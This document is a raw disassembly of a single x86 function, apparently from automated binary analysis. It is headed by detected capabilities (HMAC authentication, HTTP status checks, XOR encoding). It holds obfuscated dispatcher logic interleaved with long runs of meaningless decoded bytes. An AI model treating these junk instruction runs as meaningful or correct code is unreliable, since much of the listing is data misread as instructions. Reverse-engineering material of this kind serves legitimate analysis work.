Function at 0x6e4b1aa4
Capabilities:
Authenticate hmac
Check http status code
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x10], 0x6cf85
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0x26cf
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
xor eax, 0xf3bc0
or eax, dword [ebp - 0x1c]
je 0x6e4c7e0f
mov edx, 0xf3bc0
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0xee940
or eax, dword [ebp - 0x1c]
je 0x6e4cc477
mov edx, 0xee940
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0xc93e7
or eax, dword [ebp - 0x1c]
je 0x6e4c202f
mov edx, 0xc93e7
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0xb777c
or eax, dword [ebp - 0x1c]
je 0x6e4b646f
mov edx, 0xb777c
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0xb29e7
or eax, dword [ebp - 0x1c]
je 0x6e4bf13f
mov edx, 0xb29e7
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x9eb90
or eax, dword [ebp - 0x1c]
je 0x6e4baad7
mov edx, 0x9eb90
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x97b60
or eax, dword [ebp - 0x1c]
je 0x6e4cdbef
mov edx, 0x97b60
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x82045
or eax, dword [ebp - 0x1c]
je 0x6e4c6697
mov edx, 0x82045
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x7acae
or eax, dword [ebp - 0x1c]
je 0x6e4c9587
mov edx, 0x7acae
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x74b21
or eax, dword [ebp - 0x1c]
je 0x6e4bd9c7
mov edx, 0x74b21
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x72c41
or eax, dword [ebp - 0x1c]
je 0x6e4b7be7
mov edx, 0x72c41
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x6a8b6
or eax, dword [ebp - 0x1c]
je 0x6e4d0adf
mov edx, 0x6a8b6
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x61d6b
or eax, dword [ebp - 0x1c]
je 0x6e4c08b7
mov edx, 0x61d6b
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x4b0d7
or eax, dword [ebp - 0x1c]
je 0x6e4b935f
mov edx, 0x4b0d7
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x4aa68
or eax, dword [ebp - 0x1c]
je 0x6e4b357f
mov edx, 0x4aa68
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x3a416
or eax, dword [ebp - 0x1c]
je 0x6e4c4f1f
mov edx, 0x3a416
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x2aa78
or eax, dword [ebp - 0x1c]
je 0x6e4b4cf7
mov edx, 0x2aa78
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x1e11d
or eax, dword [ebp - 0x1c]
je 0x6e4cf367
mov edx, 0x1e11d
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x1c1e4
or eax, dword [ebp - 0x1c]
je 0x6e4b1e07
mov edx, 0x1c1e4
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x7928
or eax, dword [ebp - 0x1c]
je 0x6e4c37a7
mov edx, 0x7928
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e4d0adc
mov eax, dword [ebp - 0x20]
xor eax, 0x57f4
or eax, dword [ebp - 0x1c]
je 0x6e4cacff
mov eax, dword [ebp - 0x20]
xor eax, 0x6ac9
or eax, dword [ebp - 0x1c]
je 0x6e4bc24f
jmp 0x6e4d0adc
test al, 0x44
sahf
fcomp st(0)
fist word [eax + edi*8 + 0x70ed6f63]
invalid
nop
int3
scasd eax, dword es:[edi]
sub eax, 0x6612470c
fistp word [ecx + 0x10743f0d]
daa
ja 0x6e4b3578
lds ebp, [ecx]
push ecx
pop esp
leave
pop ebp
pop esp
fisttp qword [ebx + edi*2 + 0x67]
not ebp
mov dl, 0x27
retf
pop ecx
add dword [esi + 0xb58562e], edi
ror byte [di - 0x748d], cl
movsd dword es:[edi], dword [esi]
push ss
scasb al, byte es:[edi]
sbb dword [edx + 0x45e14613], ebp
daa
invalid
out dx, eax
jmp 0x6e4b4cd4
movsb byte es:[edi], byte [esi]
push edi
push esi
cmp ebp, edi
and byte [eax + 0x3fc5a399], 0x65
out dx, al
js 0x6e4b6472
adc cl, ch
aaa
ror dword [ecx - 0x70b756e5], 1
dec edi
and byte [ebx + 0x76bd178c], dh
adc byte [esp + ebx*2 + 0x70bd73b8], dl
invalid
and al, bh
hlt
rcl dh, 1
push ecx
sbb cl, byte [eax - 0x43ba481d]
js 0x6e4b7b77
std
sub byte [esi - 0x61f90d73], cl
add bh, byte [ebx + 0x6bcb1885]
inc eax
shr dword [edi + 0x20f3565f], 1
invalid
adc bl, byte [esi]
pushfd
adc al, byte [ebx - 0x2d3ff64e]
dec ebp
invalid
nop
jmp 0x6e4b93c7
push edi
push es
add byte [edx - 0x1e], ch
jge 0x6e4b9344
sub al, al
test ebx, esp
pushal
sbb dword [edx + 0x5c], esp
mov ah, 0xd
or eax, 0xfb29f490
mov cl, 0x6b
or al, 0xf1
aam 0x52
mov edi, 0xebcad92a
xchg ebp, eax
mov al, 0xcd
sbb al, 0xf0
pop ds
and byte [ecx + 0x47], bh
cmpsb byte [esi], byte es:[edi]
push 0xa067415e
inc ebp
rcr dword [ebx + 0x19], 1
mov al, byte [0x9bc39a56]
enter 0xffffffffffffbeb6, 0xffffffffffffffc1
pop edi
and byte [esi], cl
mov cl, 0x81
and al, 0x60
jp 0x6e4b93fb
cmpps xmm4, xmmword [esi + eax], 0xfd
mov ecx, 0x599a3479
pop ebx
mov ah, 0x1c
outsb dx, byte [esi]
pop ss
rol dword [edx], 0x6b
xor eax, 0x425997e6
fist dword [edi + 0x18786c78]
vpaddsb xmm2, xmm6, xmmword [eax + ebp*8 - 0x7a4ceb42]
mov al, byte [0x139ddd5e]
pop dword [esi - 0x17e7eb2b]
scasb al, byte es:[edi]
jns 0x6e4b937b
push eax
scasb al, byte es:[edi]
sahf
rol dword [edx], 0xc9
leave
mov ah, 0x3f
fisttp dword [ebp - 0x67d03755]
adc dh, byte [esi + 0x802d67d]
std
cmp byte [edi - 0x3e], ch
sbb eax, 0xc9e8ebaa
mov ah, 0xe5
out 0xb9, eax
or bl, byte [eax + 0x2c0560c3]
and ecx, 0xfffffff5
jno 0x6e4b9450
aaa
or dword fs:[eax - 0x1223ee0f], esi
nop
int3
call 0x70589f5e
popal
test dword [eax + 0x6b], esp
push es
das
movsb byte es:[edi], byte [esi]
pop ss
mov byte [esi - 0x4faa1f27], cl
retf 0xa005
pop edi
fcomp st(0)
cmp al, 0x65
stc
push esi
xchg ecx, eax
in eax, 0x37
scasb al, byte es:[edi]
sub al, 5
jmp 0x6e4bab43
mov ch, 0x5b
mov dl, 0xcb
add ebp, edi
aam 0xc9
fnstsw word [esi + 0x64]
dec esp
mov bh, 0xf7
mov al, 0x7e
add byte [ebp + 0x7abd4b8e], dh
cmpsb byte [esi], byte es:[edi]
retf 0xea8d
mov ebx, dword [ebx - 0x22cae718]
or eax, 0x7faf0b10
push es
or bl, ch
xchg byte [edx + 0x6d], ch
sal byte [ebx], 0x83
push edx
jne 0x6e4baafc
mov esi, 0xe38fd7ef
cmp dh, byte [0xe777d059]
inc esi
fcmovbe st(0), st(6)
aas
inc esp
jmp 0xb36b5a8f
xchg ecx, eax
dec eax
add dword [eax], eax
and al, 0xc1
stosd dword es:[edi], eax
mov word [ecx - 0x5e2f7158], cs
insb byte es:[edi], dx
fsub st(0), st(0)
inc esp
stosd dword es:[edi], eax
dec eax
stosb byte es:[edi], al
xor eax, 0xd34bbe9
sub ch, byte [edi - 0x3016b561]
not byte [edx - 0x4b699a27]
or ah, byte [ebx]
jp 0x6e4bc24b
wbinvd
inc ebp
cwde
or al, 0x31
xchg dword [0x741939f], edi
push 0xfc5dbe
push ecx
retf 0x5df6
mov edi, 0xfad01142
outsd dx, dword [esi]
sahf
xchg ebx, eax
imul edi, dword [eax], 0xffffff8a
mov ebx, 0xcb4d37d
in eax, dx
mov bl, 0x56
mov dh, byte [ecx + 0x4bcebda6]
dec ebp
das
push ss
cld
idiv byte [ebx - 0x6229b7b5]
stosd dword es:[edi], eax
push edi
invalid
fild qword [ebp - 0x6d]
rol dword [esi + 0x2a], 1
neg byte [ecx - 0x4b]
ficomp word [ebp + 0x20]
rol dword [ebx - 0x50], cl
outsd dx, dword [esi]
pop ebp
and bl, dl
inc ebx
mov al, 0x6f
stc
outsb dx, byte [esi]
jns 0x6e4bd981
and al, 0x4b
stosd dword es:[edi], eax
les ecx, [ebx - 0x704f292f]
lcall 0x4549, 0x7c2d95f7
neg dword gs:[esi]
jbe 0x6e4bd95a
xor dh, byte [ebp + 0x219456b4]
ret 0xde5b
fsubr dword [ebp - 0x462cbc69]
and eax, 0x767e444f
sar dword [ecx], cl
mov eax, dword [0x8a8f8974]
xor byte [edx], 0x93
test eax, 0xc1833aa8
fnsave dword [ebx + 0x17]
jne 0x6e4bd98b
sub bl, byte [edx + 1]
xor al, 0x4e
imul edx, dword [edx - 0x1392b52c], 0xb2451c8f
insd dword es:[edi], dx
in al, dx
invalid
sbb al, 0x45
mov dl, 0x6b
scasd eax, dword es:[edi]
jbe 0x6e4bd9ab
xor byte [ebx - 0x48], al
mov edx, 0x91447dda
pop ds
and ch, byte [eax - 0x43]
mov edx, 0x6d72e154
shl dword [ebx], cl
daa
in al, dx
iretd
jle 0x6e4bf16f
stc
invalid
inc esp
invalid
pop edi
jp 0x6e4c087b
jl 0x6e4c08c9
retf
retf
mov dword [esi - 3], ecx
lodsd eax, dword [esi]
outsb dx, byte [esi]
and dl, byte ss:[edi]
sbb dword [esi], ebx
push ds
add esp, dword [esi - 0x2e]
mov cl, 0xa2
jecxz 0x6e4c085f
jl 0x6e4c08c0
div byte [edx + 8]
jb 0x6e4c08d4
test esp, ebp
dec ecx
mov cl, 0x13
cmpsb byte [esi], byte es:[edi]
xchg esi, eax
not ecx
aam 0xe1
push eax
rcl esp, 1
loope 0x6e4c0928
in al, dx
int 0xaa
lds eax, [eax + 0x51]
jne 0x6e4c094b
outsd dx, dword [esi]
or eax, 0x379d1dda
push 0x7fdc5c65
int3
cmpsd dword [esi], dword es:[edi]
and al, byte [esi - 0x63]
sub eax, 0xc197c459
push esp
pop edi
and eax, 0x8c79d6b8
test eax, 0x802a0d95
xchg byte [eax + ebp*8 - 0x10], bl
cmp al, 0xf9
lodsd eax, dword [esi]
or eax, 0xaba3574f
adc eax, 0xce5d455d
insb byte es:[edi], dx
cmc
inc eax
invalid
movsb byte es:[edi], byte cs:[esi]
inc ecx
jmp 0xd94f739d
rcr byte [ecx], 1
rcr ch, 1
lcall 0x3c4f, 0xaf7aa5a2
adc dword [0xd0701a82], ecx
mov esi, 0x87477893
dec eax
mov eax, 0xceba8327
sbb dword fs:[esi], ebp
mov al, byte [0x80a95a87]
mov bl, 0x36
xor ebx, ebp
add dword [0xbae8ec93], ebp
movsd dword es:[edi], dword [esi]
jbe 0x6e4c2006
pop ds
sbb byte [bx + di + 5], cl
test al, 0x6d
outsb dx, byte [esi]
popal
sub eax, 0xce9ed52d
push ebx
sbb esp, dword [ebx - 0x55784f0b]
imul byte [si + 0x7cd]
inc esp
cmp bh, ch
cmp eax, 0x5e0efa29
in eax, 0xcb
cli
loope 0x6e4c20a8
mov ebp, dword [ecx + 0x14]
push es
invalid
ja 0x6e4c2085
cmpsb byte [esi], byte es:[edi]
pushfd
inc esp
wait
xchg esp, eax
xchg ebx, eax
add ah, bh
test eax, 0xd5376675
loope 0x6e4c2130
popal
mov cl, 0xa
shl byte [edx - 0x12], cl
js 0x6e4c2066
inc ebp
or byte [edi], ah
pushfd
inc ebx
daa
cmp cl, byte [ebp - 0x3d]
jns 0x6e4c2132
pop es
jbe 0x6e4c212b
hlt
mov esi, ss
ret
outsb dx, byte [esi]
dec ebx
dec esp
sar byte [ebx - 0x6b], 1
sub dh, byte [ecx - 3]
hlt
sbb edi, esp
inc esp
insd dword es:[edi], dx
or edi, dword [ebx - 6]
loop 0x6e4c378b
in eax, dx
int1
insd dword es:[edi], dx
mov eax, 0x89e187e
push edx
movsd dword es:[edi], dword [esi]
dec ebp
scasb al, byte es:[edi]
adc esi, dword [eax]
wait
push eax
pop ss
aas
inc ecx
dec eax
sti
adc dword [ebx + 0x65], esi
jae 0x6e4c37f2
mov ecx, 0x9ae879ea
invalid
ljmp 0xc4cd:0xdd9ae879
xor dword [ebx], 0x56a112a3
push esi
xor dword [esi + 0x1f20fadb], ecx
adc byte [esi - 0x56], 0x89
mov dh, 0x17
jbe 0x6e4c37ef
inc eax
mov ecx, 0x3307c5a7
mov dl, 0x15
sbb byte [eax], 0x2c
push 0x60d56c6c
lds ebp, [esi + 0x6c]
sub dword [esi], edx
daa
jl 0x6e4c378e
pop ecx
jecxz 0x6e4c376b
push 0x398da7e9
sti
arpl di, dx
mov byte [ebx - 0x7023a468], ch
jl 0x6e4c3845
xor dword [eax + 5], esp
xchg edx, eax
xchg byte [esi + 0x6f], bh
movsb byte es:[edi], byte [esi]
pushfd
in eax, dx
call 0x2d51ab8b
aas
std
mov dl, 0x6f
push 0xb
imul ecx, dword [ebp + 0x6e], 0x32
adc dword [ebx], ebx
lea esp, [edi]
mov ebp, 0x831cfc3a
push esp
imul ebx, dword [edi], 0xfffffffe
call 0x367ea3f0
cmpsd dword [esi], dword es:[edi]
les esp, [ebx]
jb 0x6e4c37ac
mov bh, 0x4e
xchg edx, eax
iretd
adc eax, 0x909b5a1e
sbb dh, dh
mov esp, eax
aam 0x12
cli
pop ds
out 7, al
or dh, byte [0x3625da97]
enter 0x5a43, 0x71
pushal
mov edi, 0xd1678b4e
fimul word [edx]
sub esi, 0xffffffaf
fcom dword [edi]
add edi, dword [ecx + ebx*2 + 0x13]
inc esi
popfd
nop
int3
in al, dx
pushal
pushal
lodsd eax, dword [esi]
and eax, 0xdd88fe1a
and dword [edi + 0x39fe3aa2], eax
int 0xdf
sub al, 0x30
inc edi
add edx, dword [edx]
rol byte [ebx - 0x7f97a07e], cl
mov ah, 0x96
or byte [edi], 0xb2
pop ss
pop edi
push 0x8096b480
lss edx, [edi]
xlatb
imul ebx, esp, 0x39a5792e
sub eax, 0xdfd1c11a
rcr edi, 1
sub dword [esp + 0x6a], ecx
push esp
sbb byte [edi + 0xa], 0x54
or dword [ebx + 9], eax
test eax, 0xf33e3598
add edi, dword ss:[ecx + edx*4]
cmp eax, 0x3e6a8f2d
or esp, dword es:[ecx - 0x5772734c]
sbb eax, 0x8e136001
mov esp, 0xbea8cbee
outsd dx, dword [esi]
adc byte [esi + 0xd1fca0e], dh
pop ebp
and bl, byte [edx + 0x5b1d8c26]
or eax, 0x74bd1d3a
xor byte [eax], bl
jbe 0x6e4c4eac
push cs
retf 0xd1f
adc eax, 0xc2162ae
lodsd eax, dword [esi]
std
jnp 0x6e4c4e93
popfd
xchg ebx, eax
xchg esp, eax
in al, dx
mov ecx, 0x8f7cc6ed
loop 0x6e4c4eef
mov al, 0x90
int3
jae 0x6e4c4ebf
inc ebx
mov dh, 0x90
invalid
invalid
or dword [edx - 0x67], ebp
jb 0x6e4c65fb
iretd
sub eax, ecx
add ah, byte [esi]
mov dl, 0x53
mov esp, 0xaa016c37
cli
jb 0x6e4c665e
cmp al, 0xa5
hlt
adc al, 0x28
leave
mov ah, 0xf5
xor al, 0x9a
dec ebx
invalid
adc dword [ebx + 0x3469e0d2], ecx
adc edx, dword [eax + 0x7559e9cc]
add byte [eax], al
xor byte [edx - 0x6ea57d7], al
adc al, 0x2f
sub dl, byte [ebp - 0x79]
sbb ecx, dword [ebp - 0x38]
stosd dword es:[edi], eax
jne 0x6e4c95e5
dec eax
inc edx
pop eax
popfd
popal
xchg ebp, eax
cwde
and al, 0x50
scasb al, byte es:[edi]
jl 0x6e4c9579
mov fs, word [0xacf652b4]
mov dl, 0x3c
rcl byte [ecx - 0x57], cl
xchg ebx, eax
mov bh, 0x42
push edx
pop edi
cmc
dec ebp
pop ebp
mov byte [0x60537237], al
rol byte [ebx + 0x75], cl
cmp al, 0xe
and dword [ecx + esi], ebp
sub eax, 0x1a0b8749
invalid
outsd dx, dword [esi]
mov byte [esp + 0x7e], cl
cmp al, 0xb9
push 0x2731ad36
arpl word [ebp - 0x3be23edd], dx
pop esp
cli
test esp, esp
sbb dword [ebx - 0xffb97a3], esi
sub esp, dword [ebx - 0x15]
and ch, byte [edi - 0x1d]
invalid
and dword [eax - 0x61b269c7], ebp
int3
sub byte [edi + 0x756e99a0], dh
and byte [esi - 0x43], al
inc eax
arpl word [ebx + 0x648cb755], cx
ret 0xcdf8
sub edi, dword [ebx + ebx*2 - 0x72a35b94]
iretd
mov al, byte [0xf9c78dfc]
adc ebx, dword [edx - 0x12]
into
or byte [ecx - 0x1d57c331], dl
xchg edi, eax
add dword [edi + 0x14777ad9], ebp
outsd dx, dword [esi]
jnp 0x6e4cf385
cmpsd dword [esi], dword es:[edi]
push 0x41
invalid
mov fs, word [ebp + 7]
sar dword [ebx + 0x3ba4f96c], 0x32
or esi, dword [esi + edi]
fstp xword ds:[ecx]
push 0x21
test dword cs:[edi], eax
sal dh, 4
jle 0x6e4cf381
xor ecx, edx
popal
dec ebp
push esp
sti
shl al, 0x7d
add ebp, ebx
fistp qword [edi - 0xf954ffa]
mov eax, 0xd4e66a3c
fdivr dword [ecx]
sbb dword [eax + 0x26], ebp
cwde
push 0x499c366c
sub al, 0x23
salc
xchg edi, eax
sbb byte [esi - 0x50], al
cmp eax, 0x97f01a0a
salc
mov cl, byte [edi + 0x279c9859]
mov eax, dword [edx*2 - 0x3bc23682]
mov cl, 0x6d
and dword [ebx], eax
adc bl, dh
test eax, 0xb511fbe4
xchg ecx, eax
lea ebx, [eax + 3]
lock sub byte [edi + eax*4], bh
inc edi
mov byte fs:[ebx - 0x74], dl
bound edi, qword [ecx - 0x18]
push 0x40104172
aaa
mov cl, 0x1d
movsd dword es:[edi], dword [esi]
cmpsb byte [esi], byte es:[edi]
invalid
nop
jmp 0x6e4d0ae0
nop
mov eax, dword [0x6e93d028]
mov eax, dword [eax + 0x28]
mov edx, dword [0x6e93d024]
add eax, edx
mov dword [0x6e93d038], eax
mov dword [ebp - 0x28], 0x8ebd0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 0xeb4f5
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x28]
sbb edx, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x38]
xor eax, 0xf0d28
or eax, dword [ebp - 0x34]
je 0x6e4d54be
mov edx, 0xf0d28
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0xd5c1c
or eax, dword [ebp - 0x34]
je 0x6e4d9b26
mov edx, 0xd5c1c
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0xb1b32
or eax, dword [ebp - 0x34]
je 0x6e4dca16
mov edx, 0xb1b32
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0xad61d
or eax, dword [ebp - 0x34]
je 0x6e4d0e56
mov edx, 0xad61d
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0xa223d
or eax, dword [ebp - 0x34]
je 0x6e4e85d6
mov edx, 0xa223d
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x9ea35
or eax, dword [ebp - 0x34]
je 0x6e4d25ce
mov edx, 0x9ea35
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x96cc8
or eax, dword [ebp - 0x34]
je 0x6e4e3f6e
mov edx, 0x96cc8
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x8a50f
or eax, dword [ebp - 0x34]
je 0x6e4e6e5e
mov edx, 0x8a50f
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x86988
or eax, dword [ebp - 0x34]
je 0x6e4ee3b6
mov edx, 0x86988
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x7eecd
or eax, dword [ebp - 0x34]
je 0x6e4df906
mov edx, 0x7eecd
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x7ed0d
or eax, dword [ebp - 0x34]
je 0x6e4d3d46
mov edx, 0x7ed0d
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x71f92
or eax, dword [ebp - 0x34]
je 0x6e4d83ae
mov edx, 0x71f92
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x633f0
or eax, dword [ebp - 0x34]
je 0x6e4ecc3e
mov edx, 0x633f0
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x5c925
or eax, dword [ebp - 0x34]
je 0x6e4efb2e
mov edx, 0x5c925
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x58a8b
or eax, dword [ebp - 0x34]
je 0x6e4db29e
mov edx, 0x58a8b
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x4dc09
or eax, dword [ebp - 0x34]
je 0x6e4e9d4e
mov edx, 0x4dc09
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x40eae
or eax, dword [ebp - 0x34]
je 0x6e4e27f6
mov edx, 0x40eae
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x2f973
or eax, dword [ebp - 0x34]
je 0x6e4e56e6
mov edx, 0x2f973
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x2a754
or eax, dword [ebp - 0x34]
je 0x6e4eb4c6
aam 0xa6
add dword [eax], eax
mov edx, 0x2a754
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x1b3ce
or eax, dword [ebp - 0x34]
je 0x6e4e107e
mov edx, 0x1b3ce
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e4efb2b
mov eax, dword [ebp - 0x38]
xor eax, 0x8950
or eax, dword [ebp - 0x34]
je 0x6e4de18e
mov eax, dword [ebp - 0x38]
xor eax, 0x14672
or eax, dword [ebp - 0x34]
je 0x6e4d6c36
jmp 0x6e4efb2b
imul ebp, dword [eax - 0xb4c8535], 0x79
in al, dx
mov cl, 0xd4
mov ah, 0x82
les eax, [edx]
insb byte es:[edi], dx
js 0x6e4d0dee
fisttp word [ecx + 0x2819ac7]
leave
aad 0xee
mov dh, 0x39
inc ebx
push es
ficom dword [ebx]
mov dl, 0x4c
mov cs, esp
test esp, ebp
sub eax, 0x720467e0
popfd
bound edi, qword [edx*4 + 0x62add911]
retf
scasb al, byte es:[edi]
xlatb
invalid
out 0xa3, eax
bound edx, qword [esi + eax - 0x3a30eaa5]
pop ebp
test ebx, 0x2ab3d01c
xor dl, byte [edi - 0x62880f6]
and eax, 0x4fdd395e
cmp bl, byte [0x3eb182e3]
sbb bh, byte [ecx]
sub dh, byte [ebx + 0x77]
inc ebp
ficomp dword [ebx]
jmp 0x7f25040c
nop
sbb dword [eax + eax*2], 0x23
in eax, 0x46
pop esp
invalid
mov byte [ecx], ch
dec eax
int 0xd
cwde
outsb dx, byte [esi]
cmp al, 0x6e
jne 0x6e4d52bd
mov word [ecx], fs
jg 0x6e4d52be
fadd qword [eax]
mov edx, 0x60c2b627
loope 0x6e4d537d
add edx, dword [ebp + 0x2d]
xor byte [ebp - 0x3d], al
stosb byte es:[edi], al
iretd
inc esp
mov ebx, 0xf9e7b572
inc ebx
xlatb
mov ebp, 0x58e00b25
scasd eax, dword es:[edi]
jne 0x6e4d5323
pop ss
xor byte [ebp - 0x6b], cl
jp 0x6e4d536b
div dword [edi]
scasd eax, dword es:[edi]
cmp eax, 0x366b9784
xor esi, esi
div byte [0x43b322c4]
jp 0x6e4d5365
jg 0x6e4d53a3
pop edi
adc dword [esp + eax*2 + 0x65], 0xffffff87
dec ebp
sal edx, 1
inc ebp
push ss
inc esi
and bl, al
xchg ebp, eax
lodsd eax, dword [esi]
sbb ch, byte [0x2eaa2940]
pop es
xchg dword [ebp + 0x764658ab], esi
fdiv dword [edi - 0x703f8792]
or byte [0x3ea7313f], dh
xor al, 0x3b
adc al, 0xb4
invalid
sub dword [edx - 0x4a78f8d2], ebp
stosd dword es:[edi], eax
pop eax
inc esi
jbe 0x6e4d5386
mov bh, 0x6e
js 0x6e4d5372
invalid
inc esp
and ah, byte [edi - 0x3f]
lds ebx, [ebp + 0x13044c41]
pop ds
jne 0x6e4d5379
int3
sub dword [esi], edi
xchg esi, eax
sahf
mov bh, 0x73
jecxz 0x6e4d53dc
mov dh, 0xa8
ffree st(0)
sub dword [esi + 0x74c3f048], 0xf037cb72
mov ch, 0x7d
sub ch, byte [esi - 0x55]
jge 0x6e4d546d
outsb dx, byte [esi]
stosd dword es:[edi], eax
cmp al, 0x5c
inc edx
std
jns 0x6e4d5441
idiv byte [edi + 0x655e63a]
mov edi, 0x655e63a
mov ch, 0x4d
xchg ebp, eax
xor eax, 0x99cbb2fa
xchg edx, eax
in eax, dx
add eax, 0x56dd3cde
pop es
test edx, ebx
shr dword [ebx + 0x3fb09d9], 1
pop ebp
sub esi, ebx
xor ch, byte [edx]
loopne 0x6e4d542a
sub ah, al
mov edx, 0xa1468c3
